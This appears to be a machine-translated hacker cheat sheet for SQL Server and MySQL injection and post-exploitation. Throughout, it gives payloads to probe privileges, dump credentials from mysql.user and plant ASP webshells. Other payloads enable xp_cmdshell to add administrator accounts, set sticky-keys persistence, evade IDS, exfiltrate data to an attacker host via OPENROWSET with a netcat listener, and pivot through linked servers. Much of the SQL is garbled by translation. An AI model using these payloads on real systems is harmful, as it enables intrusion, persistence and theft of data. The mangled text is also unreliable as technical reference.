ПУБЛИЧНО) Запишите в таблицу: утверждение 1: и 1=(Выберите IS_blank>_SRVROLEMEMBER(sysadmin)); – Оператор 2: и 1=(Выберите IS_blank>_SRVROLEMEMBER(serveradmin)); – Оператор 3: и 1=(Выберите IS_blank>_SRVROLEMEMBER(setupadmin)); – Оператор 4: и 1=(Выберите IS_blank>_SRVROLEMEMBER(securityadmin)); – Оператор 5: и 1=(Выберите IS_blank>_SRVROLEMEMBER(securityadmin)); – Оператор 6: и 1=(Выберите IS_blank>_SRVROLEMEMBER(diskadmin)); – Утверждение 7: и 1=(Выберите IS_blank>_SRVROLEMEMBER(bulkadmin)); – Утверждение 8: и 1=(Выберите IS_blank>_SRVROLEMEMBER(bulkadmin)); – Утверждение 9: и 1=(Выберите IS_blank>_MEMBER(db_blank>_owner)); –
Запишем путь к таблице: ; Create table dirs(paths varchar(100), id int)– ; Insert dirs exec master.dbo.xp_blank>_dirtree c:\– и 0<>(выберите топ-1 путь из директоров)– и 0<>(выберите топ-1 пути из директоров, где пути не входят(@Inetpub))– ; Создать таблицу dirs1(Paths varchar(100), id int)– ; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web– и 0<>(выберите топ-1 путь из dirs1)–
Резервная копия _blank> базы данных в веб-каталог: Скачать ; объявить @a системное имя; множество @a=db_blank>_name(); Резервное копирование базы данных @a в disk=e:\web\down.bak; –
и 1=(Выберите имя топ-1 из(Выберите идентификатор топ-12, имя из sysobjects, где xtype=char(85)) T
Порядок по id desc) и 1=(Выберите топ-1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) из sysobjects) См. также
Связанные таблицы. и 1=(выберите user_blank>_id из USER_blank>_LOGIN) и 0=(выберите пользователя из USER_blank>_LOGIN, где user>1)
-=- пример wscrip{filter}t.shell -=- объявить @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out исполнительный sp_blank>_oamethod @o, бегать, NULL notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
объявить @o int, @f int, @t int @ret int Объявить @line Вархар (8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, opentextfile, @f выход, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline @line out while( @ret = 0 ) Начало Печатная @line exec @ret = sp_blank>_oamethod @f, readline @line out Конец
объявить @o int, @f int, @t int @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, создать AteTextFile, @f выйти, C:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %>
объявить @o int, @ret int Исполнитель sp_blank>_oacreate speech.voicetext, @o уходит exec sp_blank>_oamethod @o, register, NULL, foo, bar Исполнительный sp_blank>_oasetproperty @o, скорость, 150 exec sp_blank>_oamethod @o, speak NULL, все ваши серверы сиквелов принадлежат us, 528 Ожидание задержки 00:00:05
; объявить @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, регистр, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, говори, NULL, все ваши серверы сиквелов принадлежат нам, 528 waitfor delay
00:00:05–
xp_blank>_dirtree соответствующее ПУБЛИЧНОЕ разрешение exec master.dbo.xp_blank>_dirtree c: Возвращаемая информация имеет два поля: подкаталог, глубина. Поля подкаталогов
Тип персонажа — это поле формирования. Create table dirs(paths varchar(100), id int) Построение таблиц, созданная здесь, связана с вышеуказанным xp_blank>_dirtree, с равными полями и одним типом. insert dirs exec master.dbo.xp_blank>_dirtree c: При условии, что мы создаём таблицу и одинаково определяем поля, возвращаемые процессом хранения
Исполняйте! Чтобы добиться эффекта написания таблиц, шаг за шагом достигайте нужной информации! Эта инъекция ошибки в основном основана на переполнении типов данных Mysql mysql > SELECT 18446744073709551610 * 2 ; ОШИБКА 1690 (2003): BIGINT Незнаковое значение выходит за пределы диапазона в '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ОШИБКА 1690 (2003): BIGINT Незнаковое значение выходит за пределы зоны действия в '(- (1) *
9223372036854775808)' Версия базы данных запросов: mysql> SELECT * 2 (если ((SELECT * из (SELECT (версия ()) ) s), 18446744073709551610,
18446744073709551610)); ОШИБКА 1690 (22003): BIGINT НЕПОДПИСАННОЕ значение выходит за пределы зоны действия в '(2 * if (( Выберите ' 5.5 ' от
Двойной), 18446744073709551610.18446744073709551610)' Получите название поля: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop предел 1), 18446744073709551610, 18446744073709551610);
ОШИБКА 1690 (22003): BIGINT незнаковое значение выходит за пределы зоны действия в '(2 * if(((select
'article', 'dealer', 'price' из (выберите 'test'.'shop'.'article' AS
'article','test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price' от
'тест'.'магазин') лимит 1) > (выбрать
'тест'.'магазин'.'артикул','тест'.'магазин'.'дилер','тест'.'магазин'.'цена' от 'тест'.'магазин'
1)),18446744073709551610,18446744073709551610))' Получите значение поля:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) как '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ОШИБКА 1690 (22003): BIGINT незнаковое значение выходит за пределы зоны действия в '(2 * if(((select
'местный хост', 'root','*','Y','Y','Y','Y'
Y','Y','Y','Y','Y','Y',','0,'0,'0',','','' ОТ DUAL LIMIT 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Обратите внимание, что этот метод не работает со старыми версиями Mysql, и вам нужно знать предел длины сообщения об ошибке, так как это определит
Вы можете получить столько, сколько хотите: mysys / my_error.c
/* Максимальная длина сообщения об ошибке. Нужно синхронизировать с MYSQL_ERRMSG_SIZE. */ #define ЭРМСГСАЙЗ (512)
Если объект — MariaDB (форк Mysql), вы можете увидеть такое сообщение об ошибке при использовании вышеуказанного метода:
mysql> ВЫБРАТЬ 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) ОШИБКА 1690 (22003): BIGINT Незнаковое значение выходит за пределы зоны действия в '(2 * if((select
#),18446744073709551610,18446744073709551610))'
В качестве решения эту задачу можно решить следующим образом:
mysql> SELECT (i НЕ ЯВЛЯЕТСЯ NULL) - -9223372036854775808 ИЗ (SELECT (version())i)a; ОШИБКА 1690 (22003): Значение BIGINT выходит из диапазона в '(('5.5-MariaDB' не нулевый) - -
(9223372036854775808))' Теперь посмотрим, сможем ли мы сделать наш Вектор немного короче
//查询数据库版本
ВЫБЕРИТЕ 2*(if((SELECT * из (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = выберите 1E308*if((select*from(select version())x),2,2)
SELECT (i НЕ ЯВЛЯЕТСЯ NULL) - -9223372036854775808 ИЗ (SELECT (version())i)a = выбрать if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) как '' limit 1)>(SELECT * от
test.shop предел 1), 18446744073709551610, 18446744073709551610) = выберите 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) как '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = выберите 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 выберите 1E308*if((выберите пользователя|| ведущий|| password|| file_priv from(select*from mysql.user LIMIT
1) предел 1),2,2)
//获取字段个数
выберите 1E308*if((select*from mysql.user limit 1)>(выберите 1),2,2)
Некоторые другие деформации
SELECT (i НЕ ЯВЛЯЕТСЯ NULL) - -9223372036854775808 ИЗ (SELECT (version())i)a выберите 1E308*if((выберите пользователя|| ведущий|| password|| file_priv from(select*from mysql.user LIMIT
1) предел 1),2,2); => выберите 2*if((выберите пользователя|хост|пароль|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> select (select * from mysql.user)=1; mysql> select (select * из mysql.user)in(1);
ОШИБКА 1241 (21000): Операнд должен содержать 42 столбца выберите 2*if((выберите пользователя|хост|пароль|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); Выберите if((выберите пользователя|| ведущий|| password|| file_priv из(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i НЕ ЯВЛЯЕТСЯ NULL) - -9223372036854775808 ИЗ (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; ОШИБКА 1690 (22003): BIGINT незнаковое значение выходит за пределы зоны действия в '((not('root@localhost')) - ~
(0))' 3. Оценивайте систему баз данных ; и (выбрать count(*) из sysobjects)>0 mssql ; и (выбрать count(*) из msysobjects)>0 доступ 4. Параметр инъекции — это символ 'и [критерии запроса] и ''=' 5. При поиске отсутствуют фильтрованные параметры 'и [критерии запроса] и '%25'=' 6. Угадайте базу данных ; и (выберите Count(*) из [имя базы данных])>0 7. Угадайте поле ; и (выберите Count (имя поля) из названия базы данных)>0 8. Угадайте длину рекорда в поле ; и (выберите топ-1 len (имя поля) из названия базы данных)>0 9. (1) Угадайте значение ASCII поля (access) ; и (выбрать топ-1 ASC (mid(имя поля, 1,1)) из названия базы данных)>0 (2) Угадайте значение ASCII поля (mssql) ; и (выберите топ-1 Unicode(подстрока(имя поля, 1,1)) из названия базы данных)>0 10. Структура разрешения на тестирование (mssql) ; и 1=(выберите IS_SRVROLEMEMBER('системный администратор')); -- ; и 1=(выберите IS_SRVROLEMEMBER('serveradmin')); -- ; и 1=(выберите IS_SRVROLEMEMBER('setupadmin')); -- ; и 1=(выберите IS_SRVROLEMEMBER('securityadmin')); -- ; и 1=(выберите IS_SRVROLEMEMBER('diskadmin')); -- ; и 1=(выберите IS_SRVROLEMEMBER('bulkadmin')); -- ; и 1=(выберите IS_MEMBER('db_owner')); -- 11. Добавить аккаунт для mssql и системы ; исполнительный master.dbo.sp_addlogin имя пользователя; -- ; exec master.dbo.sp_password null, username, password; -- ; exec master.dbo.sp_addsrvrolemember sysadmin username; -- ; exec master.dbo.xp_cmdshell 'net username password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; исполнительный master.dbo.xp_cmdshell 'net user username password /add'; -- ; исполнительный master.dbo.xp_cmdshell 'Net Localgroup Administrators Username /add'; -- 12. (1) Пройтись по каталогу ; Create table dirs(paths varchar(100), id int) ; Вставьте директоров exec master.dbo.xp_dirtree 'c:\' ; и (выберите топ-1 путь из директоров)>0 ; и (выберите верхние 1 пути из DIRS, где пути, не входящие в ('пути, полученные с предыдущего шага'))>) (2) Пройтись по каталогу ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; вставьте временный исполнительный master.dbo.xp_availablemedia; -- Собери все текущие диски ; вставьте в temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Получить список подкаталогов ; вставить в temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Получить структуру дерева каталогов для всех подкаталогов ; Вставьте в temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Просмотр содержимого файла 13. Хранимые процедуры в mssql xp_regenumvalues Корневый ключ реестра, дочерний ключ ; исполнительный xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' и многое другое
Метод Recordset для возврата всех значений ключей xp_regread Корневый ключ, дочерний ключ, имя ключа-значения ; исполнительный xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'CommonFilesDir' возвращает значение ключа формулировки xp_regwrite Корневой ключ, дочерний ключ, имя значения, тип значения, значение Существует два типа типов значений: REG_SZ REG_DWORD для типов символов и для целых чисел ; исполнительный xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' записываются в реестр xp_regdeletevalue Корневой ключ, подключ, имя значения исполнительный xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' для удаления значения xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' удалить клавишу,
Включите все значения под этот ключ 14. Резервное копирование MSSQL создаёт вебшелл Модель использования создать таблицу cmd (изображение STR); вставить в значения cmd(str) ('<% Dim oscrip{filter}t %>'); резервное копирование модели базы данных в disk='c:\l.asp'; 15. Встроенные функции MSSQL ; и (выберите @@version)>0, чтобы получить номер версии Windows ; и user_name()='dbo' для определения, является ли подключённый пользователь текущей системы SA ; и (выберите user_name())>0 Взрыв подключённых пользователей текущей системы ; и (выберите db_name())>0 для получения текущей подключённой базы данных 16. Краткая паутина Модель использования создать таблицу cmd (изображение STR); Вставить в значения cmd(str) ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); резервное копирование модели базы данных в disk='g:\wwwtest\l.asp'; При запросе используйте что-то вроде этого:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Получите все имена баз данных, включая системные базы данных –ВЫБРАТЬ имя с master.dbo.sysdatabases
– Получите все несистемные имена баз данных –выбрать [name] из master.dbo.sysdatabases, где DBId>6 Order By [Name]
– Получите всю информацию, включая адрес файла базы данных –выбрать * из master.dbo.sysdatabases, где DBId>6 Order By
[Имя]
Этот запрос к оператору возвращает все пользовательские таблицы
выберите * из sysobjects, где xtype='U'
Запрос всей информации о таблице данных в системе
выбрать * из sysobjects
Посмотри на название машины выберите * из sys.servers
Оглавление столбцов Исполнительный master.dbo.xp_subdirs 'C:\'
исполнительный master.dbo.xp_dirtree 'c:',1,1 db_owner Разрешения могут быть заменены
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Программный код, написанный в webshell
исполнительный master.dbo.xp_subdirs 'd:\web\www.xx.com'; Исполнительный sp_makewebtask сказал:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Казни, мастер... xp_enumgroups
Пользователи системы Traverse
Казни, мастер... xp_getnetname Получите текущее название машины
--Укажите фиксированные диски на сервере вместе с доступным пространством для каждого диска DBO Public
Execute
xp_ntsec_enumdomains
-- Создайте аккаунт для входа в MSSQL исполнительный master.dbo.sp_addlogin имя, пропуск; --
-- Укажите доменное имя сервера xp_ntsec_enumdomains // Имя машины //dbo публичное
-- Остановите или начните обслуживание xp_servicecontrol 'stop', 'schedule' //schedule — это название сервиса //dbo
--Используй PID
Остановите исполняемую программу xp_terminate_process 123 //123 — это PID //DBO
-- В каталоге указаны только подкаталоги dbo.xp_subdirs 'C:' //dbo
SQL Server Метод открытия xp_cmdshell в 2005 году EXEC sp_configure «показывать расширенные опции», 1; РЕКОНФИГУРИРОВАТЬ; EXEC
sp_configure 'xp_cmdshell', 1; РЕКОНФИГУРИРОВАТЬ;
SQL2005 Открыть 'OPENROWSET' Поддерживаемые методы: Exec sp_configure «Показать расширенные опции», 1; РЕКОНФИГУРИРОВАТЬ; исполнительный sp_configure «Ad Hoc»
Распределённые запросы,1; РЕКОНФИГУРИРОВАТЬ;
SQL2005 для включения поддержки 'sp_oacreate': Exec sp_configure «Показать расширенные опции», 1; РЕКОНФИГУРИРОВАТЬ; Исполнительный
sp_configure «Процедуры старой автоматизации», 1; RECONFIGURE
Как включить xp_cmdshell в SQL Server 2008
-- Чтобы позволить менять расширенные опции. EXEC
sp_configure «показать расширенные параметры», 1 ВПЕРЁД -- Для обновления текущего настроенного значения для
Продвинутые варианты. RECONFIGURE ВПЕРЁД -- Чтобы включить функцию. EXEC sp_configure 'xp_cmdshell', 1 ВПЕРЁД --Кому
Обновите текущее настроенное значение для этой функции. RECONFIGURE ВПЕРЁД
exec xp_cmdshell 'ipconfig'
Сегодня я хотел изменить пароль SA сервера базы данных, но внезапно забыл, поэтому пришлось открыть анализатор запросов с помощью других аккаунтов, чтобы изменить пароль SA
Всё очень просто:
Исполнение: sp_password Null, 'teracypwd, 'sa' Установите пароль SA на "teracypwd"
После успешной казни
Есть «Команды(ы) успешно выполнены». ХОРОШО!
В разрешениях базы данных отдельте способ получения IP сервера базы данных MSSQL
1. Локальная NC слушает NC -VVLP 80
2.; вставить в
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Сеть=DBMSSOCN; Адрес=ваш IP, 80; ', 'выбрать * из
dest_table') выбрать * из src_table; --
выбрать * из openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','выберите пользователя; ')
Импорт и экспорт баз данных
/*不同服务器数据库之间的数据操作*/
--Создать сервер ссылок Исполнительный sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Имя или IP-адрес удалённого сервера' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'имя пользователя', 'пароль'
--пример запроса выбрать * из имени ITSV.database name.dbo.table
--пример импорта Выбрать *
в таблицу из ITSV.databasename.dbo.tablename
--Удалить связанный сервер, если он больше не будет использоваться в будущем исполнительный sp_dropserver 'ITSV',
'droplogin'
-- Подключение к удаленным/локальным данным (openrowset/openquery/opendatasource) --1、openrowset
--пример запроса Выбрать *
из openrowset( 'SQLOLEDB', 'имя sql-сервера'; «Имя пользователя»; 'password', имя базы данных.dbo.table name)
-- Сгенерировать локальную таблицу выберите * в таблицу из openrowset( 'SQLOLEDB', 'имя sql сервера'; «Имя пользователя»; «Пароль», номер
Согласно названию базы данных.dbo.table name)
-- Импортируйте локальную таблицу в удалённую таблицу вставьте openrowset( 'SQLOLEDB', 'имя sql сервера'; «Имя пользователя»; «Пароли», базы данных
name.dbo.table name) Выберите *из локальной таблицы
-- Обновить локальные таблицы Обновление B множество b. столбец A = a из openrowset( 'SQLOLEDB', 'имя sql-сервера'; «Имя пользователя»; '
пароль ', имя базы данных .dbo.table name) как внутренняя локальная таблица join b на a.column1=b.column1
--openquery Использование требует создания соединения
--Сначала создайте соединение для создания сервера ссылок исполнительный sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'имя или IP-адрес удалённого сервера' --Спросить Выбрать * ИЗ OPENQUERY(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Импортируйте локальную таблицу в удалённую таблицу вставить openquery(ITSV, 'ВЫБРАТЬ * ИЗ названия database.dbo.table') Выбрать * из локального
Таблица --обновить локальную таблицу Обновление B установить b. столбец B=a ИЗ openquery(ITSV, 'ВЫБЕРИТЕ * ИЗ database.dbo.tablename')
как внутренняя локальная таблица соединения b на a. столбец A=b. столбец A
--3、opendatasource/openrowset SELECT * ОТ
opendatasource( 'SQLOLEDB', 'Data Source=ip/ServerName; User ID=Имя входа; Пароль=Пароль '
).test.dbo.roy_ta -- Импортируйте локальную таблицу в удалённую таблицу
Удаление и восстановление xp_cmdshell
Способы восстановления xp_cmdshell Удалить расширенную хранящую процедуру xp_cmdshell
Утверждение Исполнительный sp_dropextendedproc 'xp_cmdshell'
Восстановить sql-оператор cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Исполнительный
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; выберите count(*) из
master.dbo.sysobjects, где xtype='x' и Результат возврата — 1, и всё в порядке.
В противном случае нужно загрузить c:\inetput\web
\xplog70.dll позже исполнительный master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Если удалить его следующим образом Процедура сброса sp_addextendedproc Процедура сброса sp_oacreate Исполнительный
sp_dropextendedproc 'xp_cmdshell'
Вы можете восстановить его с помощью следующего утверждения DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Таким образом, её можно восстановить напрямую, независимо от того, существует ли sp_addextendedproc или нет
1、 Используйте xp_cmdshell: exec master.dbo.xp_cmdshell «net user admin admin /add» Исполнительный
master.dbo.xp_cmdshell «администраторы локальных групп сети admin /add»
В xp_cmdshell случае используйте sp_oacreate, чтобы следовать sp_oamethod: объявить @object int Исполнительный
sp_oacreate 'wscrip{filter}t.Shell', @object Исполнительный sp_oamethod
@object,'Run',NULL,'net user admin admin /add' exec sp_oamethod @object,'Run',NULL,'net
Администраторы локальной группы admin /add'
Примечание: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Используйте sp_oacreate и FSO объявить @o int Исполнительный sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; объявить @oo int Исполнительный
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Исполнительный sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Используйте xp_regwrite (db_owner, требуется перезагрузка): Исполнительный master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Исполнительный master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Используйте sp_add_job: Исполнительный
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' Используйте MSDB exec sp_delete_job
null, 'x' Исполнительный sp_add_job «X» Исполнительный sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin /add' Исполнительный sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Многие SA добивались успеха на многих машинах напрямую с режимом песочницы, но я никогда не практиковал это и не знаю, какой процент успеха. Когда удлинение удалено, сначала
Восстановите хранилище для чтения и записи в реестр. dbcc addextendedproc ('xp_regread','xpstar.dll') dbcc addextendedproc
('xp_regwrite','xpstar.dll')
Исправлен защищённый режим песочницы Исполнительный мастер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Проверьте, не стало ли значение 'SandBoxMode' на 0.
исполнительный master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Наконец, вызовите режим песочницы Выберите * из OpenRowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
Если режим защиты песочницы не «выключен», сообщается об ошибке: Сервер: Msg 7357, уровень 16, состояние 2, линия 1
Не удалось обработать объект 'select shell("cmd.exe /c net user passwd /add")'. OLE DB предоставляет программы
Предисловие 'microsoft.jet.oledb.4.0' указывает, что в объекте нет столбцов.
Отслеживание ошибок OLE DB [Ошибка без интерфейса: провайдер OLE DB не может обработать объект, поскольку объект
имеет nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Если .mdb отсутствует или входной путь неверен Сервер: Msg 7399, уровень 16, состояние 1, линия 1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [Ответ от OLE/DB провайдера:
Файл 'C:\WINDOWS\system32\ias\dnary1.mdb' не найден. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Если во время процесса ввода появляется больше пробелов, ошибка также будет сообщена. Обратите особое внимание на это, многие люди напрямую ищут статьи в интернете
Вставьте и выполните. Сервер: Msg 7357, уровень 16, состояние 2, линия 1 Не удалось обработать объект 'select'
shell("cmd.exe /c net user passwd /add")'。 Провайдер OLE DB 'microsoft.jet.oledb.4.0' указывает, что в объекте нет столбцов.
Отслеживание ошибок OLE DB [Ошибка, не связанная с интерфейсом: Провайдер OLE DB не может обработать объект, поскольку объект имеет
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Если разрешения MDB и cmd.exe неверны, проблема тоже возникнет. Когда разрешения MDB некорректны, Сервер: Устранить
Процент 7320, уровень 16, штат 2, линия 1
Он не мог ответить Провайдер OLE DB 'Microsoft.Jet.OLEDB.4.0' выполняет запрос. [Провайдер OLE/DB возвращён
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Если сетевое разрешение неверное, нет подсказки.
Последний способ повысить авторитет — загрузить ias.mdb и cmd.exe системы под текущий веб-каталог net.exe три файла.
Выполнить select * из openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','выберите оболочку
("E:\web\cmd.exe /c E:\web\net.exe пользователь passwd /add")') Успешно добавили пользователя компьютера.
Разделение cmdshell обходит IDS Declare @a Sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' Объявить
@a набор sysname @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Редактировать: сдвиг с захватом реестра Исполнительный мастер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Запрос к серверу связей выбирать
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers выбирать
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Запрос linkserver2 выберите отдельное имя хоста,db_name(dbid),net_address,loginame,program_name из
Мастер... sysprocesses
Запрос к серверу связей и других авторизованных пользователей выбрать * из [192.168.1.1].master.dbo.syslogins
Сервер ссылки запросов Все базы данных select * из linkedSrvWeb.master.dbo.sysdatabases
Выполнить расширенное хранение на LinkServer exec [ip].master.dbo.xp_cmdshell
Запрос ко всем таблицам на linkserver-е выберите * из [ip].master.dbo.sysobjects
выбрать * из openrowset
('sqloledb','server=IP; uid=пользователь; pwd=пароль','выберите @@version')
select * из openquery([LINKSERVER)
имя],'выберите @@version')
select * из openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
выбрать * из openquery(GM_SERVER,'select * из sysobjects, где xtype = (''U'')')
выбрать * из
openquery(NDOORS,'Выберите IS_MEMBER(''db_owner'')')
Выбрать * из OpenQuery(toatdeweb,'Select
srvname с master.dbo.sysservers')
Вставить в opendatasource
('sqloledb','server=222.241.95.12; uid=SCD; pwd=a123520; database=hack520').hack520.dbo.zhu select
Имя с master.dbo.sysdatabases create database hack520 Create TABLE zhu(name nvarchar(256)
null); Создать ТАБЛИЦУ J8(id int NULL, имя nvarchar(256) null);
Выбрать * из OpenQuery
(toatdeweb,'отключить FMTonly от исполнительного master.dbo.xp_cmdshell ''net user')
Исполнительный мастер... xp_dirtree
'c:\',1,1 Выполните каталог запросов
exec links.master.. xp_cmdshell 'ipconfig'
выбрать * из OpenQuery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Подключите mysql Select * от Mem_DB. UserDB.dbo.AdminList
ИСПОЛНИТЕЛЬНЫЙ МАСТЕР... XP_dirtree 'c:\',1,1
Исполнительный директор
master.dbo.xp_cmdshell 'dir'
Выберите count(*) из [указать] Запросите, сколько данных находится в текущей таблице
выберите отдельное имя хоста,db_name(dbid),net_address,loginame,program_name
От мастера... sysprocesses
Выберите * из GameDB01. Server01.dbo.cabal_character_table, где name='
Свинья
При удалении появляется сообщение: База данных используется и не может быть удалена.
Нажмите на базу данных, которую хотите удалить, чтобы открыть просмотрщик событий.
Вводные данные:
Использование
Мастер Иди Затем введите следующее: Объявить @d Варчар (8000) set @d= ' ' выберите @d=@d+ ' убить
'+Кастинг(Спид в роли Варчара)+Чар(13) От мастера... sysprocesses, где dbid=db_id('имя библиотеки') exec(@d) -- Используйте код, чтобы сначала удалить процесс, подключённый к этой базе данных
MSSQL управляет Oracle через LinkServer
1) Установить Oracle на сервер SQL_SERVER 2005 года
9i клиент. Предположим, установим в каталог C:\ora92i\. Если D: — это раздел NTFS, нужно установить установленную папку ORACLE как используемую
Подписчики имеют право запускать, добавлять и удалять.
2) Настройте файл C:\ora92i\network\ADMIN\tnsnames.ora. (Следующий красный текст — пример конфигурации)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Выполните следующую команду в режиме DOS, чтобы убедиться, что клиент ORACLE установлен правильно.
Пользователь/password@ORCL SQL Plus
4) Откройте Start - Панель управления - Сервисы и убедитесь, что сервис Distributed Transaction Coordinator запущен.
5) Open SQL SERVER Management Studio, имя экземпляра (ORCL) — объект сервера (правый клик) — сервер новых соединений.
1.
Link server: Запишите имя связанного сервера, например OracleTest
2. Тип сервера, выберите другой источник данных
3. Интерфейс доступа: Выберите Oracle Provider для OLE DB
4. Название продукта: Write Oracle
5. Источник данных: Обзор
